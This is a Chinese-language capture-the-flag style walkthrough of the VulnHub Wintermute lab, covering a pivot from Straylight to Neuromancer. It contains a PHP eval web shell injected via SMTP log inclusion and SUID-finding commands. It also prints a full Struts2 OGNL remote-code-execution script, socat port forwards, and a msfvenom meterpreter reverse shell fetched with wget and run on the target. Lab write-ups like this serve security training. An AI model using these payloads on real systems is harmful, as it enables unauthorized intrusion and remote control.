靶机渗透(wintermute)

挺有意思的一个靶机环境,学到不少东西,记录一下 参考wp:https://hackso.me/wintermute-1-walkthrough/

介绍

https://www.vulnhub.com/entry/wintermute-1,239/ 注意,这里环境搭建如下图 即我们的kali主机只能访问straylight靶机,而Neuromancer靶机处在内网,需要我们利用straylight作为跳板进行攻击

Straylight

ip和端口

靶机ip:192.168.1.101 端口扫描情况

探测和拿shell

到80端口,发现就一个静态页面给出背景,没什么有用的信息,到3000端口看下,发现一个登录页面,直接admin/admin一波成功登录,发现是ntop的管理页面 探测一下流量,发现有奇怪的流量 到/turing-bolo看下,然后在case页面发现 访问一下,发现内容相同,猜测有文件包含 想到前面开了25端口,包含一下mail.log试试看 发现成功包含,那么我们去写日志就好,连25端口 然后发送

1
2
3
4
root@kali:/home/blacsheep#  nc 192.168.1.101 25
220 straylight ESMTP Postfix (Debian/GNU)
MAILFROM:<?php eval($_POST['cmd']);phpinfo();?>
221 2.7.0 Error: I can break rules, too. Goodbye.

发现代码得到执行 蚁剑连一下

suid提权

具体可以去看这篇文章:https://www.anquanke.com/post/id/86979 简而言之

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。 但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

可以用于提权的包括

1
2
3
4
5
6
7
8
Nmap
Vim
find
Bash
More
Less
Nano
cp

查找有哪些具有suid权限位而且属于root的文件可以用下面的一些命令

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

靶机上面跑一下,得到下面一些文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@straylight:/var/www/html/turing-bolo$ find / -perm -4000 -user root 2>/dev/null
<ing-bolo$ find / -perm -4000 -user root 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

发现有一个screen-4.5.0,searchsploit搜一下 找到可以提权的漏洞了,蚁剑传上去,不过运行会出错,我们手动跑一下,然后拿到root 拿到flag和root下面的note 为了方便,我给straylight装了个ssh,加了个blacsheep用户,这样就可以有一个完整的shell了

Neuromancer

找ip和端口

这个涉及到靶机找ip和端口,最容易想到的肯定是直接去下载一个nmap,然后编译一下扫,不过这里学到一些新知识,可以用shell的循环来扫ip和端口 找ip

1
for p in $(seq 1 255);do ping -c 1 192.168.29.$p  2>&1 ;done  grep "bytes from"

找到靶机ip:192.168.29.4 然后扫它的端口

1
for p in $(seq 1 65535);do nc -nvz -w 1 192.168.29.4 $p 2>&1 ;done  grep -v "refused"

端口转发和getshell

straylight靶机上面运行

1
2
3
4
5
6
root@straylight:~# socat tcp-listen:8009,fork tcp:192.168.29.4:8009&
[1] 3740
root@straylight:~# socat tcp-listen:8080,fork tcp:192.168.29.4:8080&
[2] 3765
root@straylight:~# socat tcp-listen:34483,fork tcp:192.168.29.4:34483&
[3] 3803

然后去8080端口,发现是个tomcat的manage页面,尝试爆破一下,失败了 想到之前note里面的那个路径,访问一下 找一下这个有没有漏洞 发现有个代码执行的漏洞,用一下,但是发现并不能执行,这里有人换成了bash的代码,利用curl换掉了requests,可以执行,贴个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

LHOST=192.168.30.128
LPORT=4321
RHOST=192.168.30.129
RPORT=8080
TARGETURI=struts2_2.3.15.1-showcase/integration
URL=http://$RHOST:$RPORT/$TARGETURI/saveGangster.action
CMD="$1"
PAYLOAD=""
PAYLOAD="${PAYLOAD}%{"
PAYLOAD="${PAYLOAD}(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
PAYLOAD="${PAYLOAD}(#_memberAccess?(#_memberAccess=#dm):"
PAYLOAD="${PAYLOAD}((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
PAYLOAD="${PAYLOAD}(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedPackageNames().clear())."
PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedClasses().clear())."
PAYLOAD="${PAYLOAD}(#context.setMemberAccess(#dm))))."
PAYLOAD="${PAYLOAD}(@java.lang.Runtime@getRuntime().exec('$CMD'))"
PAYLOAD="${PAYLOAD}}"

usage() {
echo "Usage: $(basename $0) [COMMAND]" >&2
exit 1
}

if [ $# -ne 1 ]; then
usage
fi

curl -s \
-H "Referer: http://$RHOST:$RPORT/$TARGETURI/editGangster" \
--data-urlencode "name=$PAYLOAD" \
--data-urlencode "age=20" \
--data-urlencode "__checkbox_bustedBefore=true" \
--data-urlencode "description=1" \
-o /dev/null \
$URL

不过nc版本不支持-e,而且由于我们是使用java.lang.Runtime来执行命令,所以管道符也不能用.. 那么我们再做一个端口转发,把访问192.168.1.101的4444的流量转到本机

1
2
root@straylight:~# socat tcp-listen:4444,fork tcp:192.168.1.105:4444 &
[4] 5820

然后msfvenom生成木马,scp传到straylight

1
2
3
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.29.3 lport=4444 -f elf -o shell

scp ./shell blacsheep@192.168.1.101:/tmp/

把shell放到web目录,然后让Neuromancer去wget下下来执行

1
2
3
./exploit.sh "wget -O /tmp/shell 192.168.29.3/shell"
./exploit.sh "chmod 777 /tmp/shell"
./exploit.sh "sh -c /tmp/shell"

然后拿到meterpreter

提权

先写个ssh-key方便连接 然后把这个写到用户目录的.ssh/authorized_keys 然后ssh -i 连接 查看内核信息

1
2
ta@neuromancer:/tmp$ uname -a
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

searchsploit找一下,刚刚好有个版本一致的 目标机没有gcc,本地编译传上去 目标机运行,拿到shell